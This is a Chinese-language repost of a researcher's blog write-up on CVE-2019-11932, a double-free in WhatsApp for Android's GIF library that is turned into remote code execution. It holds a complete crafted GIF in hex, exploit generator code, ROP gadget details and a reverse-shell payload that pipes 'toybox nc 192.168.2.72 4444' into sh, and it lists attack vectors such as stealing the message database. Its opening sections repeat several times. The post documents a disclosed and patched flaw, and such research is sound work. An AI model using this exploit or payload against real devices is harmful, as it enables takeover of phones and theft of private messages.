我将分享我在Android版WhatsApp中发现的一个双重释放漏洞,以及我如何将其转变为远程代码执行。我已将此漏洞告知Facebook。Facebook确认并已在WhatsApp 2.19.244版本中正式修复。Facebook帮助为此问题保留了CVE-2019-11932。
WhatsApp用户,请更新到最新版本的WhatsApp(2.19.244或更高版本),以避免此漏洞的影响。
步骤如下:
其中一种方式是通过WhatsApp以文档形式发送(即按回形针按钮,选择文档发送损坏的GIF文件) 如果攻击者在用户的联系人列表中(即好友),则损坏的GIF文件会在没有任何用户交互的情况下自动下载。
请注意,用户无需发送任何内容,因为仅打开WhatsApp图库就会触发漏洞。按下WhatsApp图库后无需额外操作。
当WhatsApp用户打开WhatsApp中的图库视图以发送媒体文件时,WhatsApp会使用一个名为libpl_droidsonroids_gif.so的本机库解析该文件,以生成GIF文件的预览。libpl_droidsonroids_gif.so是一个开源库,其源代码可在https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c 获取。
一个GIF文件包含多个编码帧。为了存储解码后的帧,使用了一个名为rasterBits的缓冲区。如果所有帧大小相同,则重用rasterBits来存储解码后的帧,无需重新分配。但是,如果满足以下三个条件之一,就会重新分配rasterBits:
重新分配是free和malloc的组合。如果重新分配的大小为0,则只是简单地free。假设我们有一个GIF文件,包含3个帧,大小分别为100、0和0。
这导致了双重释放漏洞。触发位置可以在decoding.c中找到:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- 此处双重释放 sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
WhatsApp中的一个双重释放漏洞如何变为RCE 14分钟阅读 本页内容 演示 libpl_droidsonroids_gif中decoding.c的DDGifSlurp函数存在双重释放漏洞 控制PC寄存器 应对ASLR和W^X 综合所有因素 受影响版本 攻击向量 在这篇博客文章中,我将分享我在Android版WhatsApp中发现的一个双重释放漏洞,以及我如何将其转变为远程代码执行。我已将此漏洞告知Facebook。Facebook确认并已在WhatsApp 2.19.244版本中正式修复。Facebook帮助为此问题保留了CVE-2019-11932。
WhatsApp用户,请更新到最新版本的WhatsApp(2.19.244或更高版本),以避免此漏洞的影响。
演示 https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
如果上述链接无法访问,可通过Google Drive链接下载 https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
步骤如下:
0:16 攻击者通过任何渠道向用户发送GIF文件 其中一种方式是通过WhatsApp以文档形式发送(即按回形针按钮,选择文档发送损坏的GIF文件) 如果攻击者在用户的联系人列表中(即好友),则损坏的GIF文件会在没有任何用户交互的情况下自动下载。 0:24 用户想向其任何WhatsApp好友发送媒体文件。因此,用户按回形针按钮并打开WhatsApp图库,选择要发送给好友的媒体文件。 请注意,用户无需发送任何内容,因为仅打开WhatsApp图库就会触发漏洞。按下WhatsApp图库后无需额外操作。 0:30 由于WhatsApp会显示每个媒体(包括收到的GIF文件)的预览,这将触发双重释放漏洞和我们的RCE利用程序。 libpl_droidsonroids_gif中decoding.c的DDGifSlurp函数存在双重释放漏洞 当WhatsApp用户打开WhatsApp中的图库视图以发送媒体文件时,WhatsApp会使用一个名为libpl_droidsonroids_gif.so的本机库解析该文件,以生成GIF文件的预览。libpl_droidsonroids_gif.so是一个开源库,其源代码可在 https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c 获取。
一个GIF文件包含多个编码帧。为了存储解码后的帧,使用了一个名为rasterBits的缓冲区。如果所有帧大小相同,则重用rasterBits来存储解码后的帧,无需重新分配。但是,如果满足以下三个条件之一,就会重新分配rasterBits:
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 重新分配是free和malloc的组合。如果重新分配的大小为0,则只是简单地free。假设我们有一个GIF文件,包含3个帧,大小分别为100、0和0。
第一次重新分配后,我们得到了大小为100的info->rasterBits缓冲区。 第二次重新分配大小为0时,info->rasterBits缓冲区被释放。 第三次重新分配大小为0时,info->rasterBits再次被释放。 这导致了双重释放漏洞。触发位置可以在decoding.c中找到:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- 此处双重释放 sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } 在Android中,大小为N的内存发生双重释放会导致后续两次大小为N的内存分配返回相同的地址。
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
WhatsApp中的一个双重释放漏洞如何变为RCE 14分钟阅读 本页内容 演示 libpl_droidsonroids_gif中decoding.c的DDGifSlurp函数存在双重释放漏洞 控制PC寄存器 应对ASLR和W^X 综合所有因素 受影响版本 攻击向量 在这篇博客文章中,我将分享我在Android版WhatsApp中发现的一个双重释放漏洞,以及我如何将其转变为远程代码执行。我已将此漏洞告知Facebook。Facebook确认并已在WhatsApp 2.19.244版本中正式修复。Facebook帮助为此问题保留了CVE-2019-11932。
WhatsApp用户,请更新到最新版本的WhatsApp(2.19.244或更高版本),以避免此漏洞的影响。
演示 https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
如果上述链接无法访问,可通过Google Drive链接下载 https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
步骤如下:
0:16 攻击者通过任何渠道向用户发送GIF文件 其中一种方式是通过WhatsApp以文档形式发送(即按回形针按钮,选择文档发送损坏的GIF文件) 如果攻击者在用户的联系人列表中(即好友),则损坏的GIF文件会在没有任何用户交互的情况下自动下载。 0:24 用户想向其任何WhatsApp好友发送媒体文件。因此,用户按回形针按钮并打开WhatsApp图库,选择要发送给好友的媒体文件。 请注意,用户无需发送任何内容,因为仅打开WhatsApp图库就会触发漏洞。按下WhatsApp图库后无需额外操作。 0:30 由于WhatsApp会显示每个媒体(包括收到的GIF文件)的预览,这将触发双重释放漏洞和我们的RCE利用程序。 libpl_droidsonroids_gif中decoding.c的DDGifSlurp函数存在双重释放漏洞 当WhatsApp用户打开WhatsApp中的图库视图以发送媒体文件时,WhatsApp会使用一个名为libpl_droidsonroids_gif.so的本机库解析该文件,以生成GIF文件的预览。libpl_droidsonroids_gif.so是一个开源库,其源代码可在 https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c 获取。
一个GIF文件包含多个编码帧。为了存储解码后的帧,使用了一个名为rasterBits的缓冲区。如果所有帧大小相同,则重用rasterBits来存储解码后的帧,无需重新分配。但是,如果满足以下三个条件之一,就会重新分配rasterBits:
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 重新分配是free和malloc的组合。如果重新分配的大小为0,则只是简单地free。假设我们有一个GIF文件,包含3个帧,大小分别为100、0和0。
第一次重新分配后,我们得到了大小为100的info->rasterBits缓冲区。 第二次重新分配大小为0时,info->rasterBits缓冲区被释放。 第三次重新分配大小为0时,info->rasterBits再次被释放。 这导致了双重释放漏洞。触发位置可以在decoding.c中找到:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- 此处双重释放 sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } 在Android中,大小为N的内存发生双重释放会导致后续两次大小为N的内存分配返回相同的地址。
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
在上面的代码片段中,变量$foo被释放了两次。结果,接下来的两次分配($20和$21)返回了相同的地址。现在来看gif.h中的struct GifInfo struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- 这里有一个函数指针 GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- 这里有另一个函数指针 jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
然后我们制作一个GIF文件,包含三个帧,大小如下: sizeof(GifInfo) 0 0
当打开WhatsApp图库时,该GIF文件会触发对大小为sizeof(GifInfo)的rasterBits缓冲区的双重释放漏洞。有趣的是,在WhatsApp图库中,一个GIF文件会被解析两次。当再次解析该GIF文件时,会创建另一个GifInfo对象。由于Android中的双重释放行为,GifInfo info对象和info->rasterBits将指向相同的地址。DDGifSlurp()随后会将第一帧解码到info->rasterBits缓冲区,从而覆盖info及其rewindFunction(),而rewindFunction()正好在DDGifSlurp()函数的末尾被调用。
我们需要制作的GIF文件如下: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
它包含四个帧: 帧1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 帧2: 2C 00 00 00 00 1C 0F 00 00 00 00 帧3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 帧4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 以下是打开WhatsApp图库时发生的情况:
第一次解析: 初始化: GifInfo info = malloc(168); 帧1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); 帧2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); 帧3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); 帧4: 无关紧要,它只是为了使该GIF文件有效 第二次解析: 初始化: GifInfo info = malloc(168); 帧1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); 帧2、3、4: 无关紧要 结束: info->rewindFunction(info); 由于第一次解析中发生了双重释放漏洞,info和info->rasterBits现在指向同一位置。通过按照上述方式制作第一帧,我们可以控制rewindFunction和PC(当调用info->rewindFunction(info);时)。请注意,所有帧都经过LZW编码。我们必须使用LZW编码器对帧进行编码。上述GIF会导致如下崩溃:
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
控制PC后,我们希望实现远程代码执行。在Android中,由于W^X(即栈和堆不可执行),我们无法在不可执行区域执行代码。在我们的情况下,应对W^X最简单的方法是执行以下命令:
system("toybox nc 192.168.2.72 4444 | sh"); 为此,我们需要PC指向libc.so中的system()函数,而X0指向"toybox nc 192.168.2.72 4444 | sh"。这不能直接完成。我们需要先让PC跳转到一个中间gadget,该gadget将X0设置为指向"toybox nc 192.168.2.72 4444 | sh"并跳转到system()。从info->rewindFunction(info);周围的反汇编代码中,我们可以看到X0和X19都指向info->rasterBits(或info,因为它们指向同一位置),而X8实际上是info->rewindFunction。
info->rewindFunction周围的反汇编libhwui.so 中有一个 gadget 完美符合我们的需求:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 假设上述 gadget 的地址为 AAAAAAAA,system() 函数的地址为 BBBBBBBB。LZW 编码前 rasterBits 缓冲区(帧 1)的内容如下:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. 在正常的 Android 系统中,由于所有进程都是从 Zygote 派生而来,即使启用了 ASLR,如果 WhatsApp 被杀死并重新启动,我们的地址 AAAAAAAA 和 BBBBBBBB 也不会改变。然而,它们无法在系统重启后持久化。为了获得可靠的 AAAAAAAA 和 BBBBBBBB,我们需要一个信息泄露漏洞来提供 libc.so 和 libhwui.so 的基址。该漏洞不在本文讨论范围内。
只需编译此仓库中的代码。请注意,system() 的地址和 gadget 必须替换为通过信息泄露漏洞(本文不涉及)找到的实际地址。 /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);
运行代码以生成损坏的 GIF 文件:
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
然后将内容复制到一个 GIF 文件中,并通过 WhatsApp 以文档形式发送给另一个 WhatsApp 用户。请注意,必须以文档形式发送,而不能作为媒体文件,否则 WhatsApp 会在发送前尝试将其转换为 MP4。用户收到恶意 GIF 文件后,在用户打开 WhatsApp 图库向朋友发送媒体文件之前,不会发生任何事。
该漏洞在 WhatsApp 2.19.230 版本之前均可成功利用。该漏洞已在 WhatsApp 2.19.244 版本中官方修复。
该漏洞在 Android 8.1 和 9.0 上有效,但在 Android 8.0 及更低版本上无效。在较旧的 Android 版本中,仍然可以触发双重释放。然而,由于双重释放后系统调用 malloc,应用会在到达我们能够控制 PC 寄存器的位置之前崩溃。
请注意,Facebook 已将问题告知 android-gif-drawable 仓库的开发者。来自 Facebook 的修复也已于 8 月 10 日的一次提交中合并到原始仓库。android-gif-drawable 1.2.18 版本已不受此双重释放漏洞影响。
通过上述利用,我们可以有两个攻击向量:
本地权限提升(从用户应用提升到 WhatsApp):在 Android 设备上安装恶意应用。该应用收集 Zygote 库的地址,并生成一个恶意的 GIF 文件,从而在 WhatsApp 上下文中执行代码。这使得恶意应用能够窃取 WhatsApp 沙箱中的文件,包括消息数据库。
远程代码执行:与拥有远程内存信息泄露漏洞(例如浏览器)的应用配合,攻击者可以收集 Zygote 库的地址,并精心制作一个恶意 GIF 文件,通过 WhatsApp 发送给用户(必须作为附件发送,不能通过图库选择器以图片形式发送)。一旦用户在 WhatsApp 中打开图库视图(谁又从不给朋友发送媒体文件呢?),GIF 文件就会在 WhatsApp 上下文中触发一个远程 shell。
#来源 Afnan Sadhayo Infiniteloopers.com
我不拥有此内容,如有问题请联系所有者